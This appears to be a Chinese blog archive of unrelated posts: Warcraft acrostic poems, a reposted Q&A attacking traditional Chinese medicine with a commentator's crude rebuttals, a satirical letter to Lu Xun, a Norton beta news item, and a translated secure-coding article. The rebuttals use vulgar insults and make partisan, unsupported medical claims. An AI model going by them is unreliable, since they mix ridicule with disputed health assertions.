藏头诗就是每行的第一个字连读 古代就流行了 发个自己娱乐是写的 也算打油诗吧 有兴趣的可以接 呵呵 希望大家喜欢

三 人永世为一家
英 姿飒爽骑死马
雄 才大略展现尽
克 敌阵型穿板甲
人 见人恨藏毁灭
类 似狮鹫照样杀

天 上是鬼下地石
地 走偏锋食死尸
双 色光环保耐力
鬼 哭神嚎制敌死
扰 是精髓左右飞
暗 色猎手哭无泪
夜 空渐明影消退

蜘 蛛吐丝又钻地
蛛 网缠绵锁风骑
毁 人房屋拆建筑
灭 顶之灾被撞击
破 敌重甲是真谛
野 蛮部落靠经济
人 模人样皮肤绿

内 功高手得首发
战 场布满幽灵塔
巫 师从来不出场
妖 女只能抗魔法
成 败在于等级高
王 者冲锋死骑加
道 同志合没法打

牛博网上看到方舟子先生整理的批判中医的文章,甚觉认同。仔细读完后,又在牛博网的另一个博客里面看到和菜头一篇点评方舟子的文章。本想直接转贴方舟子先生的文章,细想之下,似乎转贴点评的文章更有意思,它不仅全部包括了方先生的问答,还加上了自己的点评。观点一致,但手法不尽相同(又或反驳手段不同)。现转贴如下,以供参考:

晚上和陈晓卿吃饭,打电话给罗老永浩。罗老指示说:要深刻学习和领会方舟子同志的最新讲话。晚上,我认真学习了方舟子同志的讲话,并做出了红字的学习心得。现在,一并提交诸位牛友审阅:


问:是不是学术打假出名了,就忘乎所以了,竟然批起中医来了!


答:我批中医远在所谓“学术打假”之前,1998年就比较系统地批过,2001年以后每年都在批。这些在新语丝的“中医骗子”专辑中都有记录。不先去查查我的记录就乱批我,这才叫“忘乎所以”。

[点评]方舟子反中医由来已久,诛心这种手法最好不要用。如果还当他是个敌手的话,在辩论上应该有起码的尊重。


问:批学术腐败、批伪科学我支持,批中医我坚决反对!


答:我不需要有谁什么事都支持我,我也不是除了批学术腐败、批伪科学就不能干别的事了。实际上我是把批中医当成批学术腐败、批伪科学的一个组成部分,你现在撤回对我的支持还来得及。

[点评]中医是学术腐败、伪科学的一部分,我倒希望方先生到乡镇建立他的西医三级医疗系统,能让农民伯伯买得起他的西药。中国人为中医千年续命,也为中医杀人无算,原来是腐败了千年。


问:你批中医只是一时失言,而为了所谓江湖面子不得不硬挺,其实认错更能显出大家风范。


答:我为了“一时失言”硬挺了十几年?莫非中医还会让你变成我肚子里的蛔虫?

[点评]即使是作为挺中医的言论,这种鸡巴言论也实在丢人。方舟子虽然花岗岩脑袋,又岂为你所谓“大家风范”而活。枪法太烂的人,就不要摸上来了。


问:你因为对中国文化不甚了解才会去批中医,建议看看南怀谨先生写的一系列关于中国文化的书籍吧。


答:连普通古文都读不通的南怀谨应该先来跟我学学古文,再来妄谈中国文化。

[点评]南怀谨???他究竟是佛家还是儒家?



问:批中医,数典忘祖啊!


答:祖先的东西并非批不得。数典忘祖的岂止批中医,我还批占卜、风水呢。

[点评]倒不晓得方先生的“典”研究得如何,都看过哪些?


问:没有中医哪有你祖宗,都死光光了,没有你祖宗哪有你在这吹牛!


答:莫非你家是靠从中医那里借种来传宗接代?不过,我得感谢中医没有在我的祖宗留下后代之前就将其毒死。

[点评]这就近于耍流氓了。要真狠,那就宣布:老子家族历史上没有一个人靠中医救过命!这问题根本是绕不过去的。绕不过去就脱裤子,侮辱别人先人通奸,手段很下作。不过,这也是方先生的一贯手法。



问:历史上中国人面临过的瘟疫,是如何度过的,大家都知道,我想中国人能繁衍,可能离不开中医中药。


答:没有哪种传染病传染性极强、死亡率又是百分之百的。在现代医学诞生之前,历史上中国人面临瘟疫时的结果和其他民族并无区别,靠的是人体自身的免疫力自然淘汰,没有中医或“西医”或其他什么医的功劳。

[点评]中国有过类似”黑死病”一样造成十室九空的大规模瘟疫吗?为什么没有?只是因为体格好?抗造?



问:如果按你的说法,古代那些人的病了,看病与不看病一个样?


答:在许多情况下是一样的,因为许多疾病都能自愈。在有的情况下是不一样的,有好有坏,好的方面是有的草药可能对某些疾病有疗效,看病吃药也能提供一种心理安慰,坏的方面是本来可以自愈的反而因为不当治疗而使身体受到损害甚至死亡,至少是花了冤枉钱。

[点评]因为很多疾病都能自愈,那么要西医干什么?应该废除所有医学!


问:历朝历代的皇帝老子生了病都得看中医,没效?那是要掉脑袋的!


答:许多皇帝都年纪轻轻就病死了,但是他们和当时的人一样愚昧,不知道去追究中医的责任。

[点评]这话说得,好像方先生历次转世都是内廷太监,所以每次都目击了实况一样。太医没有被追问责任的?那为什么古代中国大家不都去当医生?


问:我就不信你从来没有吃过中药!


答:像所有的中国人一样小时候吃过,怎么啦?我小时候还尿床呢,就不许长大了不尿?

[点评]别人问的是:您小时候习惯性尿床,尿到十四岁,尿床都跟遗精一起来了。那么吃了中药好了没有?还是又要感谢中医没把你毒死?为什么您就那么命大呢?


问:你是不是跟中医有仇啊!


答:除了小时候喝过中药让嘴巴和肚子都不舒服,和中医倒也没有什么深仇大恨。批中医是一个有科学素养、有社会责任心的人应该做的事。

[点评]这就好比戴套一样,戴了就说明有科学素养,有社会责任心。


问:你以后要是得了绝症,有种别找中医吃中药!


答:放心好了,如果真有那么一天,我也不会去找“气功大师”发功,找巫师跳大神,或求神拜佛。并不是所有的人心理素质都那么差,病急就乱求医,当骗子的衣食父母。这个世界上绝大部分人都不看中医不吃中药,也没见他们就不健康长寿了。有种你这辈子只找中医吃中药!

[点评]扯蛋,我觉得,也要分时间地点场合。发功是中医吗?跳神也是中医?不成方先生批的中医和我们所知道的中医不是一回事?那随你批好了,但是别拿中医说事。另外,全世界80亿人,中国人有14亿。美洲和非洲也有大量草药医。“绝大多数人不看中医不吃中药”,说这话要和下巴商量。



问:你根本不懂中医,你也没有体会过真正的中医疗效。


答:也有人说我根本不懂算命、风水,也没有体会过真正的算命、风水的神效。许多人迷信中医,恰恰是因为根本就不了解中医,当然,更不了解现代医学。

[点评]怎么不说不懂房中术,扶乩呢?一说不了解中医,就立即扯风水算命,那你怎么不扯造纸术、火药和指南车呢?


问:如果你精通中医和西医,再来评论,我们都服气。可惜的是你只懂点西医,对中医一窍不通,居然来骂中医。你凭什么、有什么资格来骂中医?


答:我不是大厨,就不能说饭菜不好吃吗?没有疯过,就不能说有人疯了吗?没有入过邪教,就不能批邪教吗?没有学过算命,就不能说算命是迷信吗?任何人只要
掌握了科学思想和科学方法,了解现代医学知识,就都有资格批中医。如果我对中医有任何误解、歪曲之处,欢迎具体地指出来。

[点评]大厨的菜你吃吧?不吃你批评个鸡毛啊?别人说的是“体验”和“对比”,方先生偷换为“加入”、“同质”。欺负小朋友可以,别老贴网上啊,以为别人都是瞎子?


问:我支持中医的文章你怎么不登?你容不得不同的意见!


答:我也不登支持特异功能、风水、算命、星相等等的文章。你的不同意见为何非要让我来容?

[点评]自己见小,那就承认见小好了。既然您那么牛逼,那么义正词严,没道理怕刊登一点反面意见啊?太阳没黑子,反而不那么亮了,因为黑子是能量异常区。你方舟子上网以来,从来没有一天遵从过网络的自由、平等原则。在你的新语丝,你愿意删贴、封ID那的确是你的自由。现在,你删我的BLOG啊?



问:尽管我不是学医的,但凭借最基本的逻辑思维我想说你批中医批错了。


答:是不是学医的不是关键,关键是要有严密的思维和必备的科学知识。有些问题不是靠“最基本的逻辑思维”就能解答的。“我吃了中药,病好了,所以中药有效”是许多人最基本的逻辑思维,却是不严密的思维。

[点评]那么,方先生做过严密的对比实验吗?没有。因为中医是伪科学,所以你的逻辑没问题。因为你的逻辑没问题,所以中医是伪科学。这就是你所谓的严密思维?和古时候的读书人一样,方舟子动嘴不动手的。因为他的思维牛逼,所以永远正确。


问:不要因为某些人打着中医的旗号诈骗,就否定中医。


答:批中医针对的不止是它滋生的骗子,更是针对它的整个体系。

[点评]再推下去,就是反体制了?然后方博士来做大总统,我等就沐浴在幸福的日光之下了。


问:不能因为有些中药有毒就否定中医,西药不也有毒副作用吗?


答:我们不是因为有些中药有毒就否定中医。我们只是要求:第一,不要欺骗消费者说中药没有毒副作用;第二,中药要像西药那样清楚、具体地标明已知的毒副作用;三、没有做过毒理试验、毒副作用不明或毒副作用过大的中药不能上市。

[点评]这些要求很正当,但是好像我看到的不是那么一回事。中医是伪科学,是学术腐败啊!都要被灭了,谈什么毒副作用呢?谈什么病理实验呢?


问:我们的祖宗难道都是傻子,吃了几千年中药,接受了几千年中药治疗,就没有一个人发现问题?


答:许多问题如果不用现代医学方法进行检验是不可能发现的,和傻不傻没有关系。提这种问题的倒是显得很傻。

[点评]什么问题?中医中药的验方一个个都列出来,麻烦给大家说道说道,哪一个有问题,问题在哪里?放心,不多,绝对是有限数量。来,给大家讲一讲吧?别说不,西方医学也不是一个一个,一项一项弄出来的,这才叫严谨啊。既然要用西方科学来衡量,至少别用双重标准。



问:龙胆泻肝丸事件是因为药典出错,把其中的木通换成了有毒的关木通,原来的中医药方是没错的。


答:除了关木通,含有马兜铃酸中草药还有十几种,包括马兜铃、天仙藤、青木香、广防己等,常常被当成无毒的药物用于“败火”、“排毒”、减肥、治疗心脏病等,它们都能导致肾衰竭。难道它们都是因为药典出错?

[点评]问你龙胆泻肝丸的问题。方先生不一直死咬吗?那现在就讨论这个问题啊!换了木通,方先生觉得它有没有效果?有没有毒?会不会肾衰竭?不忙扯其他的。


问:你一会说中医不可证伪不是科学,一会说现代医学证明中医不成立,自相矛盾啊!


答:不可证伪指的是中医理论体系的逻辑特征,被证明不成立的是中医的某种具体主张、具体疗法,不是一回事。

[点评]别某种啊,有种就别某种啊。何必呢?


问:西医束手无策的某些疑难病症,中医却能够对付,这是事实。


答:没有证据表明这个事实成立。你自己或某人被中医“治好”了疑难病症,或某个中医以专治疑难病症闻名,这些都不是证据。详见我以前写的《为什么要做临床对照试验》一文。

[点评]麻烦双方都就事论事,用具体例证。拜托!



问:原凤凰卫视主持人刘海若被西医宣布“脑死亡”,但是用中药安宫牛黄丸治好了!


答:这是媒体的谣传。刘海若从未被医院宣布“脑死亡”,否则医院不可能再进行抢救,因为一个人一旦发生脑死亡,就不可能再被救活。至于刘海若后来如何起死
回生,根据宣武医院王副院长的介绍:“院方在广泛应用现代医学技术的同时,还引入了针灸等中医传统疗法,收效明显。同时,在中西医结合、全方位治疗的过程
中,按摩、康复、电刺激等先进治疗方式也为海若最终的苏醒起到了明显的作用。”以现代医学技术为主,传统疗法为辅,被传得神乎其神的“安宫牛黄丸”院方提
都没提。

[点评]因为安宫牛黄丸没提到,所以其他中医手法也都作废。是这个道理吧?


问:很多中药确有奇效,这应该是谁也不能否认的事实吧。我孩子开始腹泻的时候,我因为有“西药起效快,副作用大,中药起效慢,副作用小”的观念,想快点治
好,所以相当长的时间给他用西药,结果不但不快,反而越治越泻。后来我婆婆看不下去了,果断地给他看中医,三副药下去当即见效。从此我开始相信中药,孩子
感冒、发烧我都用中药,一般用汤药三副药不超过50元钱即可退烧止咳,孩子活蹦乱跳。而我的同事的孩子习惯用西药,感冒发烧上医院就要吊水、吃消炎药,花
钱多疗程长不说,孩子现在身体特别弱,动不动就转肺炎。


答:我很同情你的小孩,但愿在他吃的中药中不含有重金属、致癌物和损伤肝肾的成分。小孩更应该避免服用毒副作用不明的药物。外国小孩没有中药可吃,身体好像并不比中国小孩弱。

[点评]方先生赶紧生个儿子,让他去参加NBA。否认人种之间的体质差异,相信方先生马拉松也能和非洲人一争长短。



问:你说人参不是补药?你吃一斤人参看看!


答:你说屎不是补药?你吃一斤屎看看!顺便说一下,《本草纲目》称人粪能“清热,降火,凉血”,请中医吃屎不是骂人哟。

[点评]请方先生大吃一斤先。按照药典所说,只需要看方先生有没有产生凉症就好了。从方先生回答问题的火气上看,一斤都稍嫌不足。



问:西药太贵了,只好吃中药。


答:看来你很喜欢买便宜的假冒伪劣产品?贪小便宜吃大亏,对医疗保健更是如此。何况许多中药并不便宜。

[点评]何不食肉糜?一般在美国医疗保健体系下生活久了的华人,都会有此一问。我迫切希望方先生回国重病一场,需要声明的是,我觉得这应该是大多数中国人的心声,并非诅咒。



问:管它中医西医,能治病就是好医!中西医各有长处,应该中西医相结合。


答:治疗不是吃的药越多效果越好。以中西医结合的名义让患者在接受现代医学治疗的同时吃中药,是否效果更好是很值得怀疑的,让患者多花钱、增加患者肝肾的解毒负担却是没有疑问的。

[点评]按照这种说法,中药必然增加肝肾负担?我还一直以为方博士很“严谨”呢。



问:中医反映的是一种辨证的思想,辩证法总没错吧。


答:中医的“辨证施治”原意是辨别征候,加以治疗的意思,和源自古希腊,原意为论辩技巧的“辩证法”毫无关系,字的写法也不一样。只不过一些中医骗子为了迎合官方哲学,利用二者碰巧写法相似,故意将之混同。

[点评]这个问题打回去重问!


问:中医明察生命秋毫,善养生,中医大夫多长寿。


答:没有证据表明中医大夫就比一般人长寿。你可以举出名中医长寿的例子(古代没有可靠记录的孙思邈之类就别拿出来吓唬人了),我也可以举出名中医短命的例
子。例如近代“名医”王士雄仅活了60岁(1808-1868),雷少逸55岁(1833-1888年),余听鸿59岁(1848-1907年),唐宗海
55岁(1863-1918年),丁甘仁61岁(1865-1925),恽铁樵57岁(1878-1935),承澹盦58岁(1899-1957),章次
公56岁(1903~1959年),杜幼臣57岁(1914~1971年)。

[点评]嗯,又来了。所以中国人说沐猴而冠。方先生号称受了西方的思维和逻辑训练,怎么真遇见点问题,立即又回归传统文化的怀抱了?列举那么多名医的寿命,一请问方先生样本足够吗?二请问方先生算过当时的平均寿命吗?三请问方先生“名医”的盛名之下,是否过于辛劳会造成寿命衰减?四请问方先生这些人都是自然老死否?


问:或许现在没有令人满意的方式来证明“五行,复合汤剂,经络……”的存在,就如同几百年前难以证明地球是圆的一样。但地球确实是圆的,而且一直转动着。


答:你搞反了,中医是蒙昧时代的产物,中医信徒更像那些到今天还不承认地球是圆的人。

[点评]扯蛋,问这种问题的滚回去!怎么不直接问:X射线你看得见吗?看不见等于不存在吗?滚蛋!



问:中医为什么非得是科学?你这是科学主义!


答:如果我们承认医学应该是一门科学,当然就要按科学的标准来衡量。如果你不认为医学应该是一门科学,那就没有必要多费口舌了,正如我们没有必要去和巫师多费口舌一样。


问:在你看来中医究竟是什么东西?真的就一无是处?


答:中医是一个包含了哲学、玄学、迷信、民间医术和巫术的大杂烩。如果有人非要说这种东西是科学,那就是伪科学。中医没有什么科学价值,但是有文化价值。它的民间医术部分含有一些古人的医疗经验,也有一定的价值。

[点评]从这段话上看,我相信方舟子先生估计是上世纪50年代就出国的人。



问:既然中医不好,为什么外国人要来中国学习?


答:外国人还有学算命、看风水,甚至加入中国邪教的呢。

[点评]嗯,又来了。因为外国人也到北大清华念书,所以北大、清华也是邪教组织。


问:中医既然不好,为什么日本现在都用中医?


答:你是不是学中医学得时空错乱,以为现在是明治维新之前呢?

[点评]好的,日本现在还有华医存在吗?或者全部都没有执照?


问:你只知道鲁迅骂过中医是骗子,不知道鲁迅后来改变对中医的看法了吗?


答:我们批中医依据的是科学思想、方法和现代医学知识,和鲁迅对中医的看法没有直接关系。但是,鲁迅说“中医不过是一种有意的或无意的骗子”,却是非常深
刻的。只不过当时中医中无意的骗子比较多,因为是出于愚昧,不知道有更好的医学;现在则是有意的骗子比较多。没有证据表明鲁迅后来改变了对中医的看法。他
在《南腔北调集·经验》一文中称赞《本草纲目》含有古人宝贵的经验,不等于是在称赞中医。我们也不否认《本草纲目》中含有古人宝贵的经验在里头,当然,里
面也含有有许多臆测、妄想。

[点评]谢谢这位网友,方先生一直是鲁迅先生的转世灵童,就等着中央金瓶掣签了。


问:骗人的把戏总是长不了的,中医若真是所谓的伪科学,自然会消亡,根本用不着批。


答:许多伪科学被大批特批之后也没有消亡,更不要说不批。算命、风水这些骗人的把戏的历史不比中医短,现在不也是欣欣向荣,没有消亡的迹象?我不指望中医会消亡,只希望能少一些人受骗。

[点评]那么,为什么算命、风水没有消亡呢?为什么?


问:民国时期就有人鼓吹要对中医实行“废医存药”,早就被证明是错误的!


答:“废医存药”的口号的确是错误的,因为它假定了只有中医有问题,而中药没有问题。事实上中医和中药都有问题,只不过严重程度不一样。正确的口号应该是
“废医验药”,不承认中医的合法地位,不拿纳税人的钱支持中医,让它做为民间医术像风水、算命一样自谋生路、严加管制,同时检验中药的有效性和安全性。当
然,这只是一个理想的口号,在相当长的时期内都不一定能变为现实。我们只能先用个人的力量让更多的人避免受骗上当。

[点评]又扯口号对不对了?事实是国民政府恢复了中医的合法地位。别人问什么就答什么,别老扯好不好?真当自己是外交部发言人呢?



问:张鸣说:“在今天的中国甚至世界,恐怕不会有什么人提出要废止中医,如果真的有人说这样的话,那么大家即使不认为他是精神病,也只当是酒后胡言。”


答:我不认为中国人民大学政治学系教授在中医废止问题上有何权威性可言,否则我们只好认为世界上生物医学专业人士绝大部分都疯了。在世界上许多国家和地
区,中医都是被废止的,中药则只能做为保健品而不能做为药品销售。我认识的生物医学专业人士——甚至包括一些中医博士——基本上都同意废止中医,只不过由
于政治原因,国内的人士对此不敢公开地说。

[点评]所有人都只和方先生说,方先生又不能透露他们是谁。所以,方先生认识的专业人士都认为要废除中医—方先生如是说。

问答:方舟子 http://www.bullog.cn/blogs/fangzhouzi/archives/18084.aspx
点评:和菜头 http://www.bullog.cn/blogs/hecaitou/archives/18091.aspx
声明:Yonsm.NET 是一个非盈利目的的个人博客网站。转贴此网文仅用于阅读收藏目的,并未征得原作者或媒体授权同意,如有异议请联系 rise.worlds@gmail.com

鲁迅先生钧鉴:
   自从您的传神之笔赋予我灵性以来,我便一直受着世人的冷眼和嘲谑,就连那些乳臭未干的中学生们也每每对我投来鄙夷不屑的目光,竞相以我作为取笑对象(因为据说您 的大作很早就被选入了中学生的课本)。虽然如此,我还是非常敬佩先生的睿智和深刻,也深深理解先生的良苦用心。先生真不愧为一代宗师,刻画起人物来纤毫毕现,入木三分,令我辈世俗之人无可逃遁,拍案叫绝。在此,我要由衷地向先生道一声“谢谢”。倘若不是先生及早洞察了我的病根所在并加以针砭的话,我的生命恐怕早已被精神的沉疴销蚀净尽,哪里还会坐在这里再来向您饶舌?所幸者,在您的当头棒喝之下,我终于幡然醒悟,悬崖勒马,从而走上了一条崭新的人生道路。这一点,您也许会感到惊讶吧(哦,忘了告诉先生,我最后一次离开咸亨酒店以后,并未如人们所料想的那样悲惨地死去,而是一直深居简出,一方面调养腿伤,一方面反躬自省;此后不久,我便作出了一个具有重大转折意义的决定:上街摆书摊)?至于所欠咸亨酒店的十九文铜钱,我一直铭记在心,适当时候,我将连同这几十年间的利息一并奉还。好了,再这样罗嗦下去,您一定要说我是“谋财害命”了。简短说吧,我之所以冒然修书来打扰先生,实在是因为有些话憋在心里时间太久,我不能不在自己有生之年将它向先生倾吐出来(假如先生不弃,我要说,在这个世界上,先生就是我唯一的知己了),或许,它还能为先生的写作提供某些素材哩。当然,如果哪位与我同病相怜的第三者看了能从中获得些许启迪或教益,那我就不胜荣幸之至了。
   我知道,先生学贯中西,博古通今,定然能现身说法,道出读书的种种好处来,甚或要将它视为人生一个不可或缺的重要方面。对此,我固不敢完全否定,因为从我们的祖先开始,便以读书为神圣之事,何况对于先生这样的大学者、大作家来说,读书更具有不寻常的意义。然而,恕我直言,世界上像先生这样出类拔萃的人毕竟太少。窃谓对我等凡夫俗子、布衣百姓而言,与其多读书,莫如少读书;与其常读书,莫如不读书(听说近年有些家长要子女辍学经商,我举双手赞成)。只要能在社会上混得人模人样,有眉有眼,有无文化概不要紧。因为根据我的经验,读书一多,人便难免会变得有些迂执、古怪,甚至不谙事理,结果沦为他人的笑柄还不自知。即以我而言,生计都难于维持了,还在那里满口之乎者也,说什么“窃书不能算偷”、“君子固穷”,又给店伙计教什么“回”字的四种写法,简直是穷酸到家了;再则,读书一多,还会使人变得清高、孤傲,像我,虽然穷困潦倒到只配用几颗茴香豆作下酒菜的地步,却始终不肯脱下身上的那件长衫,总觉得这也丢脸,那也掉价。说到底,还不是文化人传统的劣根性在作怪?本来,以我的才学和人品,赚钱的门路多的是(例如我可以坐在家里,专写一些凶杀、武打、色情之类的通俗小说,再设法弄个书号印出来,那样岂不是名利双收?我还可以在街上摆个卦摊,只要注意察言观色,随机应变,将几句似通非通、半文半白的“谶语”不断地排列组合,交替使用,必要时再搬出《易经》来唬唬那些升官发财心切的女士先生们,何愁弄不到几个喝酒钱?再不济,我还可以开个门面,专卖壮阳回春之类的药物,到时只要在报纸或电视上作作广告,再在门口挂张半裸的女人照,管保他销路大开,利市日增),恨只恨自己执迷不悟,白白放过了一次次赚钱的机会,一心只想着埋头苦读,好在有朝一日功成名就,光宗耀祖,殊不知科举考试和做官一样,也得靠“背景”,凭关系,而自己所缺的正是这些(说到这一层,还得怪自己糊涂。当初,曾有一位县太爷的外甥女钟情于我,怎奈她不识之无,言语粗俗,加之长相实在上不了台面,故终未许之。要是那时看在其舅的面上答应了她,待日后发迹再一脚踹了她岂不美哉?),结果落得个半生碌碌,一无所成。可见古人所谓“书中自有……”云云全是一派胡言。幸得先生指点,才使我痛下决心,改弦易辙,从而摆脱了窘境。不瞒您说,眼下我的存款已突破六位数。您要是想买房、出书,手头吃紧的话,我随时可向您提供援助。反正我现在衣食无愁,样样都有。前些年,我每天晚上都要去下舞厅(虽说探戈、伦巴、华尔兹什么的咱跳不了,可来他个快四步、慢四步还是不成问题的)。近几年腿脚不灵了,就在家里呆着,心里闷得慌。要不是实在年迈体衰、力不从心的话,我真想到国外去潇洒一回。人家变着法子用公款旅游,咱用自个挣来的钱总可以吧?看我,又扯远了,幸勿见怪。珍重!
   顿首顿首!
   孔 启
   ×年×月×日

今天赛门铁克宣布推出其诺顿网络安全特警2007和诺顿防病毒2007的公测版,并表示这两款产品可以兼容微软即将到来的下一代操作系统Vista。

  现在那些提前体验Vista的用户不用担心安全问题了,他们可以使用赛门铁克的这些安全产品来保护自己免受各种安全威胁。

  赛门铁克一直对Vsita的核心保护极力反对,担心Vista的核心保护技术“PatchGuard”会让安全软件无法兼容新的操作系统。与赛门铁克同一阵营的还有知名安全厂商McAfee。

  赛门铁克目前已经在其官方网站上提供了公测版的诺顿反病毒2007和诺顿网络安全特警2007的下载试用,大小分别为36.9MB和43.1MB。正式版本将在Windows Vista明年1月底开始零售后。

  在此之前,赛门铁克还发布了其新一代安全产品套装“Norton 360”的公开测试版,以对抗微软Windows Live OneCare。

  随着Vista发布日期的一天天接近,其他安全厂商也正在紧锣密鼓的加速推出兼容Vista的安全产品,其中安全机构Sophos日前也发布了支持Vista的新款安全软件Sophos Anti-Virus 6.5,并声称不受Vista核心保护的影响。

下载地址:ftp://ftp.symantec.com/misc/sabu/n360_beta/N360PB.exe

非常荣幸在过去的几年中曾经与数千位出色的开发人员一起工作,他们希望了解如何编写更安全的软件。在此期间,我也从构建安全系统方面表现出色的人员那里学到了很多东西,这使我开始思考一个问题。我在想“安全开发人员”之间是否有共同的技能或习惯。答案是当然有!本文介绍了安全代码开发人员之间共有的一系列习惯。

 

目前我可以肯定的一点是,任何看过这篇文章的人都会立即发现自己不具备的习惯。这非常好。我知道除此以外还有其他好的想法。这里只是列出我所观察到的!因此,下面介绍的是我在这几年中注意到的几种典型习惯。


习惯 1:承担责任

这是长期以来“没有银弹”观点的一种转变,该观点是 25 年前 Fred Brookes 在其“人月神话”一书中提出的。能否使您的产品具有足够的安全性完全取决于您自己。其他任何人或任何出色的工具或编程语言都无法解决所有安全隐患。不要误解我的意思,我喜欢源代码分析工具,但他们无法神奇般地修复您的所有安全漏洞。只有您自己可以做到这一点。

只有创建安全设计和编写安全代码的开发人员才能构建出安全产品。最后,编写代码由个人完成。工具不能取代个人完成这项工作。因此,您产品的安全性就是您的责任!Blaster 和 CodeRed 蠕虫利用的就是个人编写的代码(参见图 1)。


图 1 有弱点的代号是人编写的

请记住,要仔细检查所有代码,所有代码都有可能受到攻击。没关系。受到攻击也没关系。关键是,您的代码是否会遭到破坏?只有您可以决定最终结果。因此您的代码必须要使您自己满意。您必须对代码的质量充满信心,因而在晚上可以安心地休息,因为您知道如果受到攻击,您已经做好了万全的准备,可以防止代码受到破坏。

如果有可能,最好请一位安全专家对您的代码进行专业评审。不要让那些对安全一无所知的人来检查您的代码,不要期望他们能够找出安全错误和漏洞。要留出充分的时间让真正了解安全性的人检查您的代码。

不要过于自负,在需要帮助时应主动寻求帮助。我刚刚提到了,您不应完全依赖于工具,但您应该利用一切可利用的资源。请对您的代码运行所有可用的源代码分析工具,并经常这样做。利用所有可用的防御性语言构造和库技巧。例如在 C# 语言中,将执行数组访问的面向网络的代码打包,其中数组索引来自网络请求,采用 checked 操作符的形式,以检测可能出现的整数算法错误。


习惯 2:永远不相信数据

对于这一点,我已经说过无数次,但我还要重申一遍:所有输入在得到证明之前都是不可信的。看看那些最让人深恶痛绝的安全漏洞,您就会发现它们所拥有的最显著的共性就是开发人员相信了输入的数据。问题在于您的代码假定这些数据是可靠的,那么如果您的假设不正确将会怎样?在某一天您的应用程序很可能会崩溃。如果严重的话,攻击者可能会在您的流程中插入恶意代码并破坏您的流程。

安全系统的定义是只执行所要求的任务而不执行其他任务的系统。这一定义有些古怪。当输入的数据存在信任问题时,您往往会让系统执行其他任务。常见漏洞和披露 (CVE) 数据 (cve.mitre.org) 的粗略分析显示,从 2001 年至 2004 年,CVE 跟踪的所有安全漏洞中有 47% 的漏洞属于输入信任问题。最显著的问题就是缓冲区溢出、整数算法错误、跨站点脚本和 SQL 插入错误。我们开始不断看到这种漏洞的新变体,如 XPath 插入漏洞和轻型目录访问协议 (LDAP) 插入漏洞。

您可以根据几个简单规则纠正输入信任问题。首先,不要只看您知道的错误,这就假定了您知道所有错误,并可预测将来发生的所有错误。查找错误是可以的,但条件是这不是您唯一的防御手段。更好的策略是将输入控制在您知道的正确的范围内。对于诸如 C# 和 Perl 此类的高级语言,我喜欢使用正则表达式来确保这一点。

其次,抛弃您已知的错误。例如,如果某人通过您的代码远程请求一个文件,并且文件名中包含不确定的字符(如:or \),请拒绝该请求。并且不要告诉攻击者原因;只要说“找不到文件”即可。

最后,净化数据,这一点并非对所有情形都适用。例如,在 Web 服务器中,您应对可能不受信任的输入的输出进行 HTML 编码。


习惯 3:模拟针对您的代码的威胁

您应该有威胁模型对吧?利用威胁模型,您可以了解您的软件可能面临的风险,并确保您有适当的降低风险的举措。但威胁建模带来的益处不仅仅限于安全设计。威胁模型还可以帮助您确保代码质量。威胁模型可以告诉您数据的来源。数据是远程的还是本地的?数据来自匿名的用户,还是来自可信赖的(已验证的)用户、管理员?

通过掌握这些信息,您可以确定您的防御措施是否到位。例如,匿名用户和远程用户都可以访问的代码最好是非常安全的代码。这并不是说只有本地管理员可以访问的代码就应该是不安全的代码,我的意思是远程可访问的代码(尤其是默认情况下运行的代码)必须非常安全,这就意味着要提供更多的防御措施、对代码进行更详细的审查、更注意代码的细节。此外,威胁模型还可以告诉您受保护的数据的特点。例如高价值业务数据和个人可识别的信息应受到严格保护。您的防御措施是否到位?

确保您的威胁模型准确并保持最新,然后确定您的代码的所有入口点,并按可访问性(远程还是本地,高权限还是低权限(或无权限)用户)对其进行排序。首先要对最多人可访问的代码进行最深入的审查。最后沿着匿名数据路径审查所有代码,换句话说,从每个匿名可访问的入口点开始,沿着该路径跟踪数据,检查代码的准确性。


习惯 4:始终提前一步

安全环境总是在不断变化中。似乎每个星期都会出现安全问题的新变体。这就意味着您必须不断演变并了解新威胁和防御措施,否则您就要承受由此带来的后果。

可保持领先的几个简单策略是经常阅读关于软件安全性的优秀书籍。同时从您过去的错误中吸取教训,当然能够从他人的错误中吸取教训则更好。要做到这一点,您可以阅读 bugtraq — 转至 securityfocus.com 并同意通过您的收件箱接收 bugtraq 发布的内容。但请务必采纳以下建议:创建一项收件箱规则,将发布的内容转移到一个特定的文件夹中,以便您进行处理。这一点非常重要。


习惯 5:模糊!

模糊化处理是一项测试技术,旨在找出可靠性错误。经证实,有 1% 的可靠性错误为安全漏洞,很有可能被利用!当然,缓冲区溢出可能会使应用程序崩溃,但假定出现设计完善的恶意负载,可能不会出现应用程序崩溃,攻击者可能会按照他的意愿运行代码。在这一点上我们的格言是“今天拒绝服务就是明天代码的执行”。

偶然的运气或模糊化处理几乎可以找出所有文件解析错误/漏洞。Microsoft 对 XLS、PPT、DOC 和 BMP 等多种文件格式进行了解析,并发现了多个安全漏洞。大多数供应商都存在类似的漏洞,因为对复杂的数据结构进行解析是一项非常复杂的任务,复杂的代码会存在错误,其中一些错误会暴露出安全漏洞。

您必须对解析文件和网络流量的所有代码进行模糊处理。Microsoft 的安全开发生命周期 (SDL) 中就此对文件格式有何意义有非常具体的介绍。您必须利用一个文件模糊处理程序,通过对不正确文件的 100,000 次迭代对所有解析器进行模糊处理。目前有一些比较好的模糊处理程序,在我和 Steve Lipner 合著的“安全开发生命周期”一书 (microsoft.com/MSPress/books/8753.asp) 中,我们提供了一个文件模糊处理程序及 C++ 源代码。

关于模糊化处理还需要注意一点。如果出现了崩溃,不要认为这只是崩溃。这些所谓的崩溃中有很大一部分都是在请求某人编写漏洞。因此不要简单地将一次崩溃认定为“只是一次崩溃”。


习惯 6:不要编写不安全的代码

在 Microsoft,我们使用质量把关的概念来帮助降低开发人员使存在漏洞的代码流入产品的可能性。质量把关是在代码上运行一组源代码分析工具,然后进行登记,对所有问题进行标记。所有发现的问题必须在登记完成前修复。您还可以执行严格的代码规则,如阻止对禁用功能的使用,如不能调用 strcpy 或 strncat,不允许无用的加密。(Microsoft 已经禁用了超过 100 个针对新代码的 C runtime 函数!)例如,就加密算法而言,我们不允许在新代码中使用 DES(密钥长度太短)、MD4 或 MD5(它们目前都已被破解),除非行业标准中规定使用这些算法。

不要重新发明功能。如果您具备对特定文件格式进行解析的代码,那么您无需两套或三套解析代码;只需一套解析代码即可,使其功能足够强大并将其捆绑在一个可在多个项目之间使用的窗体中。

